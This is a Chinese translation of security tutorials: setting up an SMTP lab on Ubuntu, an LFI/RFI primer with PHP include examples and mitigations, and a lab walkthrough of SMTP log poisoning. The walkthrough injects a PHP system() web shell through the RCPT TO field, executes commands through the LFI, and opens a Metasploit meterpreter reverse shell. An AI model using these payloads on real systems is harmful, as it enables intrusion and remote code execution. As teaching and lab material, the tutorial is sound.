原文:https://www.hackingarticles.in/beginner-guide-file-inclusion-attack-lfirfi/
https://www.hackingarticles.in/smtp-pentest-lab-setup-ubuntu/
https://www.hackingarticles.in/smtp-log-poisioning-through-lfi-to-remote-code-exceution/

在Ubuntu系统中搭建SMTP渗透测试环境

在本文中,我们将为大家介绍如何搭建SMTP邮件服务器,以用于在局域网中发送邮件。

实际上,SMTP代表的是邮件服务器与邮件客户端的之间通信所用的简单邮件传输协议,该协议使用TCP端口25。为了获取邮件消息,客户端应用程序通常需要使用IMAP或POP3协议。

其中,POP3表示邮局协议(POP),是本地电子邮件客户端通过TCP/IP连接从远程服务器获取电子邮件时使用的应用层Internet标准协议。该协议使用端口110来接收邮件。

另外,IMAP代表Internet Message Access Protocol(IMAP),也是电子邮件客户端通过TCP/IP连接从邮件服务器检索电子邮件所使用的一种Internet标准协议。该协议使用端口143来接收邮件。

介绍了基本的协议后,下面我们开始搭建测试环境吧!!

添加主机名和域

如果具有root权限的话,就可以通过以下命令打开hosts文件并添加相应的主机名和域名了:

sudo gedit /etc/hosts

接下来,请在host文件中添加下面的命令行,然后保存文件。

127.0.0.1 mail.ignite.lab ignite

为了修改默认的主机名,需要以root权限打开hostname文件。

sudo gedit /etc/hostname

现在,将默认的主机名改为“ignite”,具体如下图所示,然后保存该文件。

在修改完主机文件和主机名后,请重新启动计算机。

sudo reboot

现在,请键入以下命令来检查主机名和域名,以确认所做的更改情况。

hostname
hostname -f
Install Postfix

Postfix是Ubuntu系统中的默认邮件传输代理(MTA)。由于该软件位于Ubuntu的主存储库中,所以,这就意味着它会接收相应的安全更新。下面,我们将为读者介绍如何安装和配置Postfix,并将其设置为使用安全连接的SMTP服务器。

sudo apt-get install postfix

执行上面的命令后,将弹出一个Postfix Configuration对话框,我们必须在其中选择Internet site作为常规邮件配置类型,具体如下图所示。

然后,输入保存在host文件中的域名(mail.ignite.lab),将其作为系统邮件名,然后单击OK按钮。

配置Postfix

首先,请打开main.cf文件,并进行如下图所示的修改,然后保存该文件。

sudo gedit /etc/postfix/main.cf

-     添加子网IP my networks = 127.0.0.0/8 192.168.1.0/24
-     输入 inet_protocols = ipv4
-     添加 home_mailbox = Maildir/

在配置文件中完成上面的修改工作后,请执行执行下面的命令。

sudo service postfix restart

现在键入以下命令,查看打开的端口列表,侦听传入的连接。

netstat -tnl

 -t: for TCP ports

-n: for network

-l: for list

从图中可以看到端口25的状态情况。

install Dovecot

Dovecot是一种邮件传递代理,其特点在于其安全性。另外,它能够支持主要的邮箱格式:mbox或maildir。下面,我们来介绍如何将其设置为IMAP或POP3服务器。

sudo apt-get install dovecot-imapd dovecot-pop3d

这时,将弹出一个用于配置dovecot-core的对话框,我们可以在其中选择Yes来创建自签名SSL证书。

之后,会弹出另一个窗口,询问用于SSL证书的主机名。这里,可以输入我们自己的域名,具体如图所示,然后单击OK按钮即可。

配置DOVECOT

下面,请通过以下路径打开10-auth.conf文件:

sudo gedit /etc/dovecot/conf.d/10-auth.conf

然后,进行如下图所示的修改,然后保存文件。

disable_plaintest_auth = yes

change auth mechanisms = plain login

下面,请通过以下路径打开10-mail.conf文件:

sudo gedit /etc/dovecot/conf.d/10-mail.conf

然后,进行如所示的修改,并保存文件。

mail_location=  maildir:/home/%u/Maildir

下面,请通过以下路径打开10-master.conf文件:

sudo gedit /etc/dovecot/conf.d/10-master.conf
Enable port =143

Enable port = 110

然后,通过下列命令进行赋权:

Mode = 0600

User = postfix

Group = postfix

sudo service dovecot restart

现在,我们使用netstat-tnl命令来查看用于侦听传入连接的开放端口。

从上图中可以看到,端口110和143的状态为LISTEN。

在Thunderbird中配置邮件帐户

我们已经有一个用户,即sr,现在让我们通过在给定文本字段中添加以下信息来为该用户配置一个邮件帐户。

Your name: sr
    Email address: [email protected]
    Password: 1234 (user’s password)

现在,单击continue按钮,然后,选择“manual config”选项卡。

接下来,请输入您的网络IP作为服务器主机名(192.168.1.1107),这样就可以在端口143上接收邮件,同时,还可以通过端口25来发送邮件了。然后,单击“done”按钮即可。

这时,将出现一个新的安全异常窗口,其单击窗口底部的“Confirm security Exception”选项卡。

在发送邮件时,我们总是需要两个用户帐户,一个作为发送者,另一个作为接收者。现在,请键入下列命令来添加新用户。

添加用户raj

由于我们已经在Thunderbird中为用户sr配置了一个帐户,所以,现在可以按照同样的方法在Thunderbird中为用户raj创建另一个邮件帐户,具体方法请参见前文。

这样,我们的邮件服务器就有了两个可以发送邮件的帐户:

  • 发送者: [email protected]
  • 接收者: [email protected]

使用Thunderbird发送邮件

现在,我们可以从地址sr@mail.ignite.lab向地址raj@mail.ignite.lab发送一封电子邮件,用于测试邮件服务器的运行情况是否正常,具体如下图所示。之后,其键入邮件内容,并单击“send”按钮。

接下来,打开收件人帐户的收件箱,将看到来自sr@mail.ignite.lab的邮件,具体如下图所示。

到此为止,我们就在本地网络中配置好了自己的邮件服务器。

文件包含攻击(LFI/RFI)入门指南

实际上,我们可以赶在服务器执行一个PHP文件之前,利用include()函数将其内容插入到另一个PHP文件之中。此外,该函数还能创建供多个页面使用的函数、页眉、页脚及其他元素。

这一特性可以帮助开发人员轻松地修改整个网站的布局,并且只需进行少量的工作即可达到这个目的。

这样一来,如果某些地方需要修改的话,那么,只需改动被包含的文件即可,而无需修改数千个文件。

假设我们有一个名为“footer.php”的标准页脚文件,具体如下所示:

<?php
echo "<p>Copyright &copy; 2010-" . date("Y") . " hackingartices.in</p>";
?>

例1

若要在页面中包含该页脚文件,可以使用include语句,具体如下所示:

<html>
<body>
<h1>Welcome to Hacking Articles</h1>
<p>Some text.</p>
<p>Some more text.</p>
<?php include 'footer.php';?>
</body>
</html>

例2

假设我们有一个名为“vars.php”的文件,其中定义了如下所示的一些变量:

<?php
$color='red';
$car='BMW';
?>
<html>
<body>
<h1>Welcome to my home page!</h1>
<?php include 'vars.php';
echo "I have a $color $car.";
?>
</body>
</html>

输出内容:I have red BMW

PHP的require语句

我们知道,require语句也可以将一个文件包含到相应的PHP代码中。

但是,include和required语句之间的区别还是蛮大的;当PHP脚本通过include语句包含一个文件时,即使没有找到相应的文件,该脚本也会继续执行:

例3

<html>
<body>
<h1>Welcome to my home page!</h1>
<?php include 'noFileExists.php';
echo "I have a $color $car.";
?>
</body>
</html>

输出内容:I have red BMW

如果换成require语句,该脚本就不会执行echo语句了,因为当require语句返回致命错误后,该脚本将会终止运行:

<html>
<body>
<h1>Welcome to my home page!</h1>
<?php require 'noFileExists.php';
echo "I have a $color $car.";
?>
</body>
</html>

没有任何输出

PHP的required_once函数

当您可能多次包括某个文件时,可以使用函数require_once(),它的好处是只会包含一次,而不用担心重复包含。函数require_once和函数require_once之间的唯一区别,如果前者发现文件已经包含过一次,调用脚本将忽略其他的包含请求。

例4

echo.php
<?php
echo "Hello";
?>
test.php
<?php
require('echo.php');
require_once('echo.php');
?>

输出内容:“Hello”

注意:默认情况下,将会禁用allow_url_include。而如果allow_url_fopen被禁用,那么allow_url_include也随之被禁用。

我们可以通过修改php.ini文件来启用allow_url_include。

/etc/php7/apache2/php.ini
allow_url_include = On

文件包含攻击

利用这种攻击,攻击者可以通过PHP脚本在Web服务器上包含某些文件。当Web应用程序允许客户端将输入提交到文件,或将文件上传至服务器时,就会出现这种类型的漏洞。

该漏洞可能导致以下攻击:

  • 执行Web服务器中的代码
  • 跨站脚本攻击(XSS)
  • 拒绝服务攻击(DOS)
  • 数据操纵攻击

文件包含攻击分为两种类型:

  • 本地文件包含
  • 远程文件包含

本地文件包含(LFI)

当PHP帐户访问的文件被作为参数传递给PHP函数“include”或“require_once”时,就会发出现本地文件包含漏洞。

例如,当页面接收到的参数是一个必须包含的文件路径,且参数中的内容没有进行正确的清理,从而允许插入目录遍历字符(如dot-dot-slash)时,就会出现这种漏洞。

示例——本地文件包含漏洞

http://192.168.1.8/dvwa/vulnerabilities/fi/?page=file1.php

http://192.168.1.8/dvwa/vulnerabilities/fi/?page=/etc/passwd

对于本地文件包含攻击的详细教程,请参阅这里

远程文件包含(RFI)

当位于不同服务器上的文件的URI作为参数传递给PHP函数“include”、“include_once”、“require”或“require_once”时,就会出现远程文件包含漏洞。因为PHP会将这些内容合并到页面中,并且,如果内容恰好是PHP源代码的话,PHP就会执行该文件。

通过包含PHP远程文件,攻击者就能够把自己的PHP代码嵌入到易受攻击的PHP脚本中,这可能导致灾难性的后果,例如,允许攻击者在Web服务器上执行远程命令、破坏Web的某些部分,甚至窃取机密信息。

http://192.168.1.8/dvwa/vulnerabilities/fi/?page=file1.php
http:// 192.168.1.8/dvwa/vulnerabilities/fi/?page=http://google.com

关于远程文件包含攻击的详细教程,请参阅这里。

缓解措施

  • 对输入内容进行严格的检查
  • 为可接受的输入内容设立白名单
  • 拒绝任何不严格符合规格的输入内容
  • 对于文件名,使用严格的白名单进行检测,同时,还要限制所用的字符集
  • 清除目录分隔符,如“/”
  • 为允许的文件扩展名设立白名单
  • 对于运行环境进行安全加固
  • 利用最新版本的PHP来开发和运行代码
  • 对PHP应用程序进行正确的设置,使其禁止使用register_globals
  • 将allow_url_fopen设置为false,以禁止包含来自远程位置的文件
  • 使用最低权限来运行代码
  • 使用已经过审核且没有包含这种漏洞的代码库或框架

参考资料

从LFI到SMTP日志投毒到远程代码执行

下面,我们介绍如何利用含有本地文件包含漏洞的Web服务器,通过滥用SMTP服务来实现远程代码执行。

好了,让我们下手吧!!

首先,我们可以利用NMAP来扫描端口25,结果显示,端口25对SMTP服务是开放的。

nmap -p25 192.168.1.107

该攻击的真正源头在于本地文件包含漏洞;因此,我创建了一个PHP文件,允许用户通过file参数来包含一个文件。

就像您看到的那样,这样就能够访问受害计算机的/etc/passwd文件了。

由于LFI攻击可以访问mail.log文件,也就是说,mail.log具有读写权限,那么,我们自然就可以通过注入恶意代码来感染日志文件了。

现在,让我们来枚举并连接到SMTP(25)端口。

telnet 192.168.1.107 25

正如我们所看到的,我们成功地连接到了受害者的机器。现在,让我们尝试通过这台机器的命令行(CLI)发送邮件,并通过“rcpt to”选项发送操作系统命令。实际上,当我们尝试连接Web服务器时,mail.log文件会为每封邮件生成相应的日志记录。利用这个特性,我们可以通过假冒的用户身份来发送恶意PHP代码,这时,它会作为新日志自动添加到mail.log文件中。

MAIL FROM:<rrajchandel@gmail.com>
RCPT TO:<?php system($_GET['c']); ?>

注意:我们可以忽略服务器响应501 5.1.3 Bad recipient address syntax(具体见上图),因为在理想情况下,该服务器(受害计算机)的内部电子邮件程序会期待我们输入电子邮件ID,而不是OS命令。

由于我们的目标是将PHP注入到日志中,因此,这个阶段可以称为日志文件中毒。在这里,我们可以清楚地看到mail.log的详细信息,以及cmd给出的执行注释; 现在,将ifconfig作为cmd注释来执行,以验证网络接口,并从通过屏幕输出内容来确认其执行结果。

192.168.1.107/lfi/lfi.php?file=/var/log/mail.log &c=ifconfig

同时,还可以在源代码中观察其输出情况,具体如下图所示:

我们将其称为SMTP日志中毒漏洞,利用这种类型的漏洞,我们可以轻松地拿到受害者计算机的反向shell。

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 1
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvport  8888
msf exploit (web_delivery)>exploit

复制下面窗口中突出显示的文本

将上面复制的恶意代码粘贴到URL中,具体如图所示,并将其作为命令执行。

当执行上述代码时,攻击者就能获得目标Web服务器的Meterpreter会话了。

msf exploit (web_delivery)>sessions 1
meterpreter> sysinfo

点击收藏 | 0 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖